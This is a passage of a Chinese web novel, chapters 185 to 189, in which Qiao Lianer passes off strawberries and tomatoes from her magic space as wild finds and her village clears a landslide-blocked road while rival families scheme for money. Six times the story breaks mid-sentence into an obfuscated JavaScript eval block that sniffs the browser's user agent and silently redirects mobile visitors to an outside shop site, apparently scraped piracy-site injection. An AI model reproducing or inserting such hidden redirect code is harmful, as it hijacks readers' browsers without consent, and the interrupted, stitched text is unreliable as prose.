乔镰儿到山上的目的,并不是这些菌子,虽然大猛和吱吱找得很起劲。 “唉,咱们都翻了一个山头了,一朵菌子都找不到。”乔吱吱开始有些泄气。 小猛:“是啊,还以为下雨后会长很多呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615463|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我记得以前下雨后就长了不少。” “我去那一边看看。”乔镰儿寻了一处比较隐蔽的地方。 等到了那里,四面都有矮树遮蔽,看看附近无人,乔镰儿就把空间里的草莓番茄弄出来。 草莓金贵,她全放在了篮子里,装了满满的一篮子。 至于番茄,她先弄个五十斤出来,当然不能凭空堆在地上,而是把长着五十斤番茄的番茄苗也移栽出来,空间里的番茄苗枝蔓发达,延伸很长,每一次就能挂果十斤,移栽五株就够了。 不过这些番茄苗在空间是支着架子的,不然根本支撑不住。 刚刚移栽出来,番茄苗挂着累累的果实,有的就歪倒在地上。 乔镰儿没有把架子移出来,不然造假的迹象太重了,不可能有人专门跑到山上来打理番茄,还支着架子,放着红彤彤的番茄不采摘的。 “你们快过来。”乔镰儿装作惊 奇地喊了一声。 小猛和吱吱以为她找到菌子了,都赶紧跑了过来。 一来就看到满眼的红,有的在篮子里,个头小一点,有的在枝头上,个头很大。 “哇,这些都是啥呀。” “是好吃的东西,刚刚找到的。”乔镰儿一人给他们递了一个草莓。 两人拿着,有点不太敢吃。 “镰儿,这东西血红血红的,真的没有问题吗?”乔吱吱问道。 “有啥问题。”乔镰儿一个一个放到嘴里,吃得很香。 还血红,这叫鲜红欲滴好不好。 二人见她吃得这样坦然,也拿起草莓来吃。 这一口下去,眼睛亮了,清香满口,鲜嫩多汁,还有一丝独特的酸味,在口腔里回味无穷。 “镰儿,这是啥呀?这样好吃。” “就叫做草莓吧,你们先吃个够,咱们把这些东西都弄回家去。” 乔小猛和乔吱吱就坐在地上,一口一个,吃得眼睛亮晶晶的,这种感觉太幸福了。 每人都吃了两斤,直到肚子实在吃不下。 他们这才看向了番茄:“镰儿,这又是啥?” 第185章 路面塌方,耽搁工期 “这叫做番茄,我在书上看过记载,用来做菜吃最好吃,特别是和鸡蛋是绝配。” 乔吱吱:“这些苗都要弄回去吗?” “嗯,都弄回去,咱们栽在院子里,这样时不时就有番茄吃。” 乔镰儿说着动手,将番茄苗又重新挖了出来。 小猛和吱吱也勤快地动手。 这些番茄苗刚刚埋进去不久,所以很容易就弄出来了,趁着两人在挖番茄苗,乔镰儿又把刚才吃少的草莓给补上。 等到挖好了,每个人背一点,大家准备回家去。 “虽然没有找到菌子,但是找到这么多好吃的,比找到菌子还要好。”乔吱吱眉开眼笑。 “不过镰儿,你说的这种叫草莓的东西,是在哪里结的,咋刚才没有看到苗。”小猛疑惑道。 “这个啊,就结在那些藤上,你们过来的时候,我已经摘好了。”乔镰儿咳嗽了一声,摸着下巴,她没有露出破绽吧。 之所以喊上小猛和吱吱,是因为他们两个年纪是最小的。 简而言之,就是好骗。 “太好了,啥时候再结果,咱们再来摘。”小猛满怀期待道:“那个地方隐蔽,也不容易被人发现,以后就是咱们的了。” 乔吱吱眼巴巴地看着乔镰儿手上挎的篮子,哪怕肚子已经撑不下了,还是忍不住把手伸过来。 一口一个,满口甜汁,让人感慨,这世上竟然有这么好吃的果实。 他们回家的时候,其他乔家人也都回来了,就找了一斤的鸡油菌,三两的马勃菌,还有两个青菌,其他的没有了。 大家都记得,去年暴雨季后还是长了挺多的,看来是一个记忆上的误差,一来暴雨季后的确会长不少,但不会比第一次更多,二来这么多人上山,菌子完全不够分的。 看到三个孩子背着红彤彤的东西进了院子,大家都睁大眼睛瞧。 “大家快尝尝,这是镰儿在山上找到的果子,比野苹果野梨野桃子都好吃。” “真的能吃吗?红得有点吓人呢。” 要是换做以前,看到这么多红得像血一样的东西,大家都会害怕,让孩子们赶紧扔出去。 可是跟着乔镰儿看过了那么多新奇的东西,又经过了菌子这一关,大家已经习惯了。 “咋不能吃,我们在山上都吃饱了,一点事都没有,而且这些我都是在书上看过记载的,这个叫草莓,是用来当水果吃的,这个叫番茄,是用来做菜吃的,跟鸡蛋一起炒最好。”乔镰儿说。 大家听说是书上记载的,也都放下了戒备,拿起草莓来吃。 刚一入口,一个个眼睛都睁大了。 这是什么神仙果子,也太好吃了吧,满口都是甜中带酸的汁水,还有一种特有的清香。 大家忍不住一个接一个。 不多一会儿,一大篮子的草莓就只剩下了一半。 大家下意识停了下来,吃了这一顿,要是下一顿没有了怎么办。 乔镰儿在厨房里做西红柿炒鸡蛋,把头探出来对大家道:“我知道这种果子长在哪里,有什么习性,这段时间时不时上山一趟,应该还是能找得到的。” 大家听她这样说,再也不犹豫了,很快,另一半也被席卷而空。 那种满足感,充斥在肠胃里,口腔间,好像做神仙一样快乐。 本来以为,吃了这么多草莓,中午就吃不下饭了。 可是当番茄炒鸡蛋端上桌,滑嫩鲜香,裹着米饭的口感,好吃到无法形容,让人差点把舌头都要吞掉,每个人又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615464|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住干了两碗饭。 乔镰儿寻思,番茄炒鸡蛋是一道经典吃法了,这个菜谱可以卖,她空间里的番茄也能有销量。 嗯,等去了县城就安排上。 吃好饭,大家就把番茄苗都种在院子里。 贴着南墙根的地方,有一小块地专门划分出来种点东西,现在就用来种番茄。 又搭了支架,保证番茄苗不会被沉甸甸的果实压垮。 现在苗上的果实大半都红了,还有一半是青色,都有点担心吃不过来呢。 忙完了这些,乔老大说:“明天又可以去县城摆摊做生意了。” “不行不行,去不了了,你们别去了。”有村里人从门前经过,摆摆手说道。 “为啥去不了?”大用心里面正念着凌音呢,一听就有点困惑。 都不知道这些天,凌家村那边的情况怎么样,像这种大暴雨,有的人会被雷电劈到,有的人家的屋子会垮塌,还有人会被水淹死。 虽然也清楚不会有什么事,但要眼看到活生生的人,他才会完全放心。 “是去不了了,去咏关县的那一条道,全被堵住了,好多段山体滑坡,把路堵得严严实实的,马车是不可能通过的。” 那个大伯停在门口说。 “还有些地方有垮塌的危险,就算走路,也要小心点。” “你们还是先等一阵子吧,等官府把路清了,再去做生意也不迟。” 乔家人面面相觑。 他们这才想起来,往年下大暴雨,都会出现道路被堵的情况,只是那时他们还没有去县城摆小吃摊,也不出那么远的门,所以对这种 事情感受不强烈。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第186章 说不定家产要全赔进去 “成。”三个兄长立刻响应,准备出发。 乔老太脸色就不太好了。 “都说路面会有垮塌的危险,可能会压到人,你们还去。” “都好好待在家里,等到路面情况稳定了,清理干净了,再考虑去县城。” “挣钱不是最重要的,一家子都好好的,少挣一点又有啥关系。” 这还是乔老太第一次对乔镰儿板着脸。 乔镰儿道:“奶,我们不去那些危险的位置,就只远远地看一眼,确定一下整条路的大概情况,算算清理干净要用多久的时间。” “不然,材料厂的运送,还有施工队都要延期,延期不要紧,失了信用,要赔违约金,总是不太好。” 她是交了定金的,各种盖房子的材料,总的交出去一百两,赔违约金还好,万一人家把定金扣下,再以他们违约为理由,不做这个生意了,那他们就要白白损失。 乔老太脸上为难,终于还是叹了一口气。 “成吧,都要小心一点,不要站在那些容易垮塌的地方。” “你们三个,保护好你们的妹妹,不然我抽了你们的皮。” 大用几个赶紧保证。 路是一定要去看的,才好根据往年情况估算一个时间,这个家,盖房子,摆摊,都和这一条路密切相关。 所以,乔老太也只能做出让步。 日头又恢复了暴雨之前的毒辣,知了扯着嗓子叫着,林子里一片一片地应和,半空浮动着燥热。 泥泞的路面开始被一点点晒干,细听甚至还能听到窸窣的响声。 像大田村可以看到的这一段路还好,只有一处小小的垮塌,不影响通行,可是等转过了山头,大家放眼望去,目光所及的路段就有两个大的塌方。 一处是路面往下垮塌,露出了一个缺口,一处是上方的山坡垮塌下来,掩盖了路面。 几兄妹就没有从路上过,而是从山头上绕过去,还要挑选结实的地方走。 不过好在,从降为中雨到今天,该垮塌的路面已经塌得差不多了,目前已经进入稳固期。 他们沿着路面上方的山一路过去,倒是造成没有新的垮塌,但已经塌方的地方多之又多,他们往咏关县的方向走了一半的路程,就看到二十几个塌方。 下面的路程料想也是差不多的情形,就没有必要再往前面去了。 这样算来,起码有五六十个塌方。 乔镰儿不由得在想,这样的路面,要清理好,大半个月够吗? 她轻轻叹了口气。 “往年的路面有这样严重吗?” 大用好好想了想:“去年,好像是塌方三十个,用了半个月清理干净。” 可是今年他们才走了一半的路程,就快要三十个了。 路面塌陷更多,都需要重新填石填土,更是显得任务艰巨。 这么看来,没有一个月,这条路根本就通不了。 “咱们回去吧,回到家正好天黑。”乔镰儿说。 她一定要想办法。 大用却看着一个方向,有点愣神,这里位置在半山腰,他试图看到凌家村,可是远处只有层峦叠嶂的山脉。 凌家村在咏关县出来十五里处,怕是要过了那些山脉,才能遥望到凌家村。 他甚至想自己去看看,可是时间不允许,而且他大晚上出现在人家姑娘的面前也不太好。 一路回去,大猛他们唉声叹气。 “这下子要赔付违约金了,多拖半个月,怕是人家定金也不退的,损失太大了。”大成忧心忡忡地道。 定好了,人家就会在约定的时间内,把盖房子的材料准备齐全,人家准备好了,他们却没有去结尾款,让人家的材料咋办? 材料厂里,只是少量的样料,有人来定,才会做专门的安排。 而且各家各户盖房子的要求是不一样的,如果买家消失了,人家都没法销出去。 “光是定金就交去一百两,还要赔钱,怕是要把人家准备好的料子成本加误工费都赔了,赔了人家也不一定再把料子给我们。”大用道。 大猛:“还有施工队,请了三个队伍呢,到时候人家等多久,咱们就要赔多少天的工费。” 大家越说心越乱。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615465|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛才十五岁,他更是想哭。 大用懊恼万分:“都怪我,这么大一个人了,竟然忘了这一条路每年大暴雨后,情况都不好,要是我提前想起来,早做准备,就不用担心又赔钱又盖不成房子了。” “好了,不说了,先回家。”乔镰儿说:“天无绝人之路。” 听他们三个说话,好像天都要塌下来了。 乔镰儿又道:“我不后悔在那个时候订下料子,定下施工队。” 三人愣了一下。 “镰儿,为啥,这条路明明——” “反正我有这样做的理由,我们得尽快把房子盖起来。” 听乔镰儿的语气这样坚定,三人就不好说什么了。 眼下这样的情形就只有等了,他们实在想不到还有什么法子。 乔镰儿是真的不后悔,如果时光倒流,她还要这样做,她只是苦恼,眼下的困境要怎么化 解。 尽快把房子盖起来,把钱花出去,为己所用,绝不会错。 等到了家里,日头已经落下西山,每家每户升起了炊烟,村子里飘着米饭和油盐的香味。 那一条浑浊的河流在汹涌地奔流往下,可是却没有侵扰到两岸的庄稼,看起来又是那样的宁静。 这半个月来轮来轮去的,又轮到了大房做饭。 乔老大刚刚把饭碗摆上桌,就看到几个孩子回来了。 “咋样。”他第一个脱口问道。 “不妙,往年有二十几个塌方,今年不低于五十个。”大用说。 乔家人脸上染上了一抹凝重,一个个的心都悬了起来。 刚才几个孩子商量的赔付问题,他们在家里已经复盘过了,说不定家产要全部赔进去。 甚至,有一种灭顶之灾的感觉。 桌上摆了十个菜,六个荤菜,四个素菜,满院子飘香,大顺直流口水,猪圈里的猪仔也在嗷嗷大叫,可是大家却没有心情品尝美食。 这下子怎么办?难道乔家状况好不容易好起来,转眼间一切辛苦都要付诸东流了吗? “有了。”这个时候,乔镰儿冷静开口。 第187章 全村一起上阵开路 大家都看向乔镰儿。 就见乔镰儿脸上已经带上了一点笑容:“其实这件事情很容易办,只用小半个月的时间,路就可以通了。” “这么好,镰儿你快说是啥办法。”乔老头赶紧问道。 乔镰儿道:“我们出点钱,让村民们一起去通路铺路,村里这么多人,再加上官府的力量,最多只用小半个月就可以打通到咏关县的这条路。” 大家都是一阵恍然,有一种船一下子驶到桥头的感觉。 好像昏暗沉沉的天,突然就亮了,让他们看到了希望。 而且这个法子并不难想,为什么他们就没有想到呢。 大家一心琢磨着,是官府在出人修路铺路,算着官府的进度。 却没有想到,大田村也可以出人啊。 而且,距离秋收还有半个月,这段时间大家都腾得出来手。 “好,明天我们去找赵里正,让赵里正号召一下。”乔老三说道。 本来这条路是公用的,不是私有的,而且由官府负责,他们出钱有点奇怪,但这是为他们家打通路,挽回损失,也就不用管那么多了。 有了对策,大家也就有胃口吃饭了。 桌上有一道西红柿炒鸡蛋,跟乔镰儿中午做的差不多。 冯氏看着乔镰儿做那一道菜,学了个七七八八。 说曹操曹操到,等吃好饭了,赵里正来了。 乔老头把人请进堂屋里坐,冯氏又泡了茶端进来,还摆上了糖果饼干,瓜子。 赵里正本来心情就很好,看到这样的招待,更是眉开眼笑。 他端起茶来喝了一口,笑眯眯道:“今年的防洪,咱们大田村打了一场大胜仗呀,以后再也不用担心两岸的农田被淹了,镰儿立了这么大的功,我打算明天带人去桥头树立一块功德碑。” “镰儿的单独在一块,那些自助的乡绅富人在另一块,等到路通了,我就去县城一趟,把镰儿的功劳报到县衙门去,如果运气好,还会层层往上报,如果只到县衙门,那也会得到不少的奖励。” 乔家人很高兴,也很骄傲,家里出了个能立功德碑的,这是八辈子修来的福分呀。 这件事情赵里正前面就提过的,防洪成功,他登门来兑现承诺,一直在心里没有忘记。 “赵叔叔,到宁县这一条路,塌方的情况不算严重吧。”乔镰儿问道。 “不严重,五六天过后就通好了,反而是去咏关县的那条路,塌方的地方数都数不清,唉,你们家要去咏关县卖小吃,要等好一阵子了。” 赵里正安慰他们:“你们别着急,那条路迟早会清理干净,到时候你们又可以去摆摊了。” “要不是因为这个着急,我们正准备盖房子呢,已经定好了盖房子用的料子,也定下了施工队,按照约定好的,我们要在暴雨季后最晚半个月去结清尾款,把料子运来,让工匠来施工,不然要赔付违约金,那些定金也不要想要回来了,甚至还要把料子的成本给人结清。” “赵叔叔你也是知道的,盖房子买的那些料子,成本有多大。” 赵里正听乔镰儿这样一说,脸上也多了几分凝重。 乔家早就可以盖房子了,却一直没有盖,一定是想盖更好的,定下的那些料子,要结的款子,怕是把家财十之七八都折腾进去了。 去咏关县的那一条路,要是不能在半个月之内通畅,那么乔家这一个多月以来,每天辛辛苦苦的努力就要打水漂。 赵里正一阵头疼,他不希望看到乔家落到那样的困境。 虽然往后他们还能挣钱,但要失去这么多,那太可惜了。 可是这是天灾,官府要一点一点地清路,除了等,还能怎么办? 赵里正一时半会也没一个主意。 看着乔镰儿:“镰儿你就说,你有啥打算,我看看能不能帮得上忙。” 他觉得,乔镰儿应该是有想法了,不然不会主动跟他提这一茬。 “赵叔叔,我是这样想的,我打算出点钱,请村里人一起清路填路,村里这么多劳动力,小半个月就可以把路打通。” 赵里正的眼睛一下子亮了,是啊,村里这么多人,要通一条路还不简单。 向官府派出来的人,一般数量都不多,所以进度缓慢,按照那条路的严重程度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615466|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怕是要一个多月才能弄好。 如果村里出人手,进程会大大加快。 “好,明天我就把村里人召集起来,跟大家说这件事。” 赵里正现在的想法,是乔家根本就不用出这一份钱,但是这个不能由他自己说。 “距离秋收还有半个月,大家都有时间,等明天我一号召,相信大多数人都愿意。” 有了解决的办法,赵里正脸上又浮起了笑容,而且他也有信心。 毕竟大家的粮食全保住了,心情完全不一样。 在这里喝了一会儿茶,唠嗑了些家长里短,赵里正起身回去。 乔老婆子找来一个布袋子,把那些炒瓜子炒花生糖饼子啥的,装了一袋,又单独拿了一罐新茶叶。 “赵家侄儿你喜欢喝这茶,还有这些糖饼子带回去给孙儿吃,你们家孩子多。” 赵 里正拿着沉甸甸的东西,有点不好意思要。 “可是这也太多了,你们家里也有孩子。” 赵里正说着,看了一眼乔镰儿,瘦瘦小小的一个,七八岁的样子,正是馋零食的年纪,可转念一想,镰儿这脑子,哪里像一个孩子? “不多不多,家里还有,孩子们天天吃,赵家侄儿你帮我们忙活,张罗那么大的一件事情,也是辛苦着呢。” 赵里正还想说,镰儿这么大的功劳,乔老头就把他给推了出去:“等一下夜深了看不见路,赵家侄儿你快回去吧,看清一点路啊。” 赵里正拿着这些东西出了院子,会心一笑。 乔家这样的实诚人家,难怪有福报呢。 第二天一大早,赵里正就把全村人给召集起来。 “各位,我就不拐弯抹角了,大暴雨过后,从大田村到咏关县垮塌好几十处,镰儿家要盖房子,已经提前定了料子,最晚半个月之后就要去结尾银,可是这条路没一个月的时间通不了。” “镰儿的意思是,乔家出工钱,大家一起去把这条路疏通,需要清障就清障,需要填土石就填土石。” 赵里正话音才落,就看到钱家老二走上前,脸色不太好,好像蒙着一层霜。 第188章 镰儿是恩人,要啥钱? 赵里正看钱家老二的样子,以为是他不愿意,就警惕又警告地盯着他。 要是敢说那些难听的,看他这个里正不收拾他。 钱家老二哼了一声:“镰儿要这样说,就是把我们当外人了,这一场大暴雨之后,我们的庄稼安然无恙,就等着半个月后大丰收,都是镰儿的功劳。” “现在镰儿要盖房子,等着县城运料过来,去县城的路被堵了需要疏通,我们去打通了就是,要啥钱。” “镰儿还说给我们钱,我这心里听了不好受,我们欠镰儿的,八辈子都还不清。” “是啊,这种小事镰儿只需要说一声,我们立刻拿着家里的铲子铁锹去开路,还给我们钱,那不是要折我们的寿吗?”有村民应和说。 马上又有村民街:“以后的年头,都不用担心庄稼被淹,一想到这件事,我这心里面都是踏实,镰儿立了大功啊,咱们年年帮镰儿家疏通那一条路又咋样。” “对,年年都帮。” 看到大家这样说,赵里正一脸的欣慰,他含笑点头,这才是大田村的村民。 “大家有这份心很好,没错,镰儿是咱们大田村的功臣,跟她要钱不像话。” 不过,有几家人却不愿意,因为他们的农田地势高,往年也是不会被淹到的,这其中就有沈家和宋家。 比起沈家,宋家人脸上更是难看。 他们本来是伸长脖子等着,那一座桥梁被大水冲垮。 这样就算下面挖深了河道,开辟了分流道,也会因为水流过急,有一部分蔓延到两岸,影响庄稼。 到时候他们就死死抓住这一点不放,要乔家把和离书给吐出来,让乔云妮继续背负着宋家弃妇的名声,断亲书也要因此而作废,乔镰儿还是宋家女儿,她赚的那些银子,都要通通交出来给宋家。 可是没有想到,那一座桥梁当真是稳固得很,岿然不动。 他们的最后一点希望就这样破灭了。 这两天村里都在庆祝保住了庄稼,一家比一家高兴激动,只有宋家一个个拉长了脸。 所以村里人看到宋家人,就觉得他们的脸比正常人还要长。 宋老大正要提出反对意见,可赵里正已经看到这些人的脸色。 他语气也冷了两分,道:“开路本着自愿原则,不是强制,愿意去的就去,不想去的就不必去。” 这几家人松了一口气,他们是绝对不会去的。 不过,沈氏眼珠子一转,有了主意。 这可是一个赚钱的好机会啊,不要白不要。 大家都散去了,沈氏让宋家人都留下来。 “你有啥事?”宋老大皱眉,她一个妇道人家,还一副做主的样子,简直是在挑战他的权威地位。 “哎呀夫君,我真是有了赚钱的法子,才让大家留下的嘛,要不要这样做,还不是得由你拿主意。”沈氏放软了语气说。 宋老大脸上这才好看一点:“说,我倒要看看你能蹦出啥赚钱的道道。” 二房的人也在看着沈氏。 沈氏看了看四面已经无人了,就道:“其他人家因为保住了庄稼,不跟乔家人要钱,咱们的庄稼又没有受影响,所以咱们也去干活,只是要跟乔家人要这一份钱。” 宋家人对视一眼,这个法子可行,而且这段时间又没有别的事情做,就等着半个月后收庄稼,何不趁这个机会赚点钱。 “走,找乔家人去,怎么说也是结过亲的,一天不多给一点,我们可不干这活。”宋老二手一挥。 宋家人乌泱泱朝乔家去。 这会儿,赵里正正在给乔家人带消息。 听说村里人纷纷表示不要钱,还都扛着锄头,拿着铲子,带着箩筐啥的,已经出发去干活了,乔家人心中一片温暖。 “大家不要钱,但是咱们不能啥都不表示。”乔老头道:“准备些茶水挑上去,给大家渴了的时候解解渴。” 乔老太说:“炒两袋花生瓜子,大家干活累了坐下来歇息磕一磕。” 然后乔家人赶紧忙活起来。 看着村里人这样温暖互助,赵里正心头很满意。 大家虽然平时会有争执,会有矛盾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615467|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在大局面上,却是团结同心力量大。 在咏关县做生意的,跑活儿的,也不仅仅只有乔家一家。 等赵里正离开,宋家人也来到了乔家门前。 一看到宋家人,乔家人的脸色就冷了下来。 “你们来干啥?”乔老大随时准备抄起靠在墙上的一根木棍。 大家都很警惕,防洪是成功了,万一宋家人又想耍赖不认,想要他们交出和离书和断亲书。 “唉唉,乔家兄弟,你不要这么过激嘛,我们又不是来闹事的。”宋老大涎着脸说。 “我们是来帮你们家干活的,上头疏通道路,不是需要人手吗?” “然后呢。”乔老三冷笑,其他人要干活的,已经抄起家伙去了,宋家人专门来到门口说,肯定不简单。 “我们两家结过亲的,你们也不好白白要我们干活,一分钱都不给吧,我们要求也不高,每人一天给三百文,反正你们也不缺这个钱。”沈氏说。 一天三百文 ,乔家人差点听笑了。 干活做苦力的,一天最多一百文,宋家人一开口就是要三百文,还真的是人不要脸,天下无敌。 “滚滚滚,村里那么多人手,还需要你们这点力气,你们省着自己用吧。”乔老太拿着扫帚就打了出来。 宋家人看老太太母鸡展翅一样的气势,再加上前面的确被乔家人打怕了,赶紧转身就跑。 一边跑一边嚷道:“那一天二百文?” “不行就一百文?” “对,一百文不能再少了,这是底线。” “一个铜板都别想,我们乔家的一片烂菜叶子,你们也别想得到,滚,给我滚得越远越好,要不然全家上阵打死你们。” 乔老太现在完全是母鸡护犊的姿态,因为她担心这个时候宋家找上门来,会不会提到和离书的事情。 哪怕事情已经尘埃落定,可她也不想从宋家人的嘴里听到那些话。 等到宋家人都落荒而逃,乔老太拿着扫帚走进院子,才发现大家都用一种诧异的目光看着她。 第189章 沈家一箭双雕之策 “这是咋了?”乔老太一阵困惑,看看身上又摸摸脸上,没有啥异样呀。 “老婆子,你知不知道刚才的样子,像是能一个打一百个。”乔老头竖起了大拇指。 如果乔老太浑身都是毛,那些毛都会炸起来。 乔家人也都在偷笑。 看刚才乔老太那架势,他们都不用出手了。 乔云妮则是一脸的感动,娘这是在护着她呢,就怕宋家人耍赖,一开口要她成为宋家的弃妇。 茶水准备好了,花生瓜子也炒好了,乔老太本来想把糖和饼干拿出来,可是看看没多少了,还是留给孩子们吃吧。 乔家人把这些东西送上去,道上起码有一百多号人在忙,都是各家各户最精壮的男人,还有些结实的妇人。 大用大成他们把油布伞扎在一个平坦的路面上,然后摆上铁炉子烧水,又摆了张桌子,放了凳子,在桌上摆上茶罐,茶杯,还有一大盆炒花生瓜子。 “大家口渴的,就来喝口茶,累了的,就来嗑一会儿花生瓜子。”乔老头热情地招呼大家。 看到乔家人这样用心,大家干活更加卖力。 头顶火辣辣的太阳,渴得受不了了,就过来喝杯茶,嗑嗑瓜子。 茶是好茶,茶香飘得到处都是,喝一口沁人心脾,瓜子花生颗颗饱满,很有嚼头。 喝了茶,嗑了瓜子,浑身都是干劲。 下了半个月的暴雨,沈良都被耽搁在家里,现在天放晴了,又要去镇子学堂学习。 经过乔家门前的时候,他停下了脚步。 乔溪儿正坐在水井边洗菜,背对着院外,没有看到他。 那件事情以后,石慕柔再也没有理过他,他好几次在石家外头徘徊,都被下人撵走。 他就知道,他和石慕柔是一点机会都没有了,哪怕他不甘心,也只能死了这份心。 他是没想到,石慕柔会这样狠心无情,他真是看错她了。 现在乔家赚了那么多钱,又要盖房子了,听说比现在的院子还要大一倍多,到时候盖起来了,怕是村里头最惹眼的。 他觉得,乔溪儿也勉强可以配得上他了。 沈良调整了一下表情,立刻变得深情款款。 “溪儿。”他喊了一声。 乔溪儿当然知道是沈良在叫她,沈良的声音,她以前在心里面念想了千百回,所以一听就能判断得出来。 可是她头都不回,端起洗好的菜,就进了厨房里。 乔镰儿躺在院里的那棵桂花树下,正闭着眼睛,经营着空间。 哐啷啷,哗啦啦,作物丰收,金币入账,拓展土地,买种子,然后是化肥农药生长素,实在是太快乐了。 看到那一块地上的草莓又成熟了,她叫上乔吱吱。 乔吱吱心领神会,也挎了个篮子。 两人一出门,就看到沈良在外面踱步,他的神情,还有些受伤的样子。 “沈良,你到我们家门口来做什么?快走开,不要让我溪儿姐看到你。”乔吱吱不客气地说。 现在,溪儿姐已经完全看开了,心里面早就没有沈良了。 哪里想到沈良还不死心呢。 沈良却看着乔镰儿:“镰儿妹妹,不如行一个方便,我想跟你说几句。” 这个家里的主心骨是乔镰儿,只要说动了她,就不怕其他乔家人不点头。 乔溪儿严肃道:“沈良,我可以明确告诉你,如果你还想打我溪儿姐的主意,没门儿。” 也懒得搭理他,拉着乔吱吱远去了。 反正二老在家里,也不怕沈良闹事。 沈良又等了好一会儿,可是乔溪儿都在厨房里忙碌,就算偶尔出来一次,也不会往外头看一眼。 他这么大一个活人,乔溪儿不可能没有看到他,只是当他不存在而已。 沈良深吸了一口气,他实在是难以接受,乔溪儿对他半点盼望都没有。 他不由得想起以前,乔溪儿看他的眼神,带着女儿家那种美好的期盼,眼波凌凌,那样的动人。 现在,一切都变了,石家不理睬他了,乔溪儿心里面也没有他了,沈家和乔家也成了仇人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615468|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一切,就好像做了一场梦一样。 沈良垂头丧气,朝村路口走去。 不过走了两步,他又停下了,不行,这件事情不能就这样结束。 乔家有赚钱的本事,而且日子越过越好,怎么能放弃这样的香饽饽? 乔溪儿生得美丽,也合他的心意。 沈良回了家。 “不是去镇子上,咋又回来了。”沈老大看到沈良就问道。 “爹,二叔三叔,大堂弟,二堂弟,咱们都去帮乔家开路去。”沈良说。 “为啥,凭啥?”柳氏一听就嚷了起来:“他们乔家是怎么对我们沈家的你不知道?你竟然还让我们去免费给他们干活,这种事情怎么可能?” 要不是乔家偏要觉得自己高贵,要乔溪儿做什么正妻,把聘书给撕了,沈良会没有退路和托底? 要是当时他们忍一忍,石家那里退出了,正妻还不是乔溪儿来当? 他们倒好,非要撕破脸,还要抢走沈家的三亩地。 沈家和乔家势不两立,永生永世为仇人。 要不是沈良是她的儿子,有人敢到她面前说这样的话,她已经是一巴掌打过去了。 其他人的脸色也是很难看。 沈良算是这个家里的半个读书人,以后也可能到官府县衙啥的做一个测量师,所以沈家人平时对他格外的客气。 可是他的这个提议,让沈家人心头升起了怒意。 “当然不是白白地给他们帮忙。”沈良道:“乔家人的本事你们也看到了,他们挣的钱只会越来越多,家底马上就要超过我们沈家,如果我能娶到乔溪儿,乔家做啥生意不得带咱们沈家一下,到时候,咱们家还怕不能多置几处田产,多买几处县城镇上的房子出租吗?” “过去的事情没法改变,但是我们可以在将来连本带利地捞回来。” 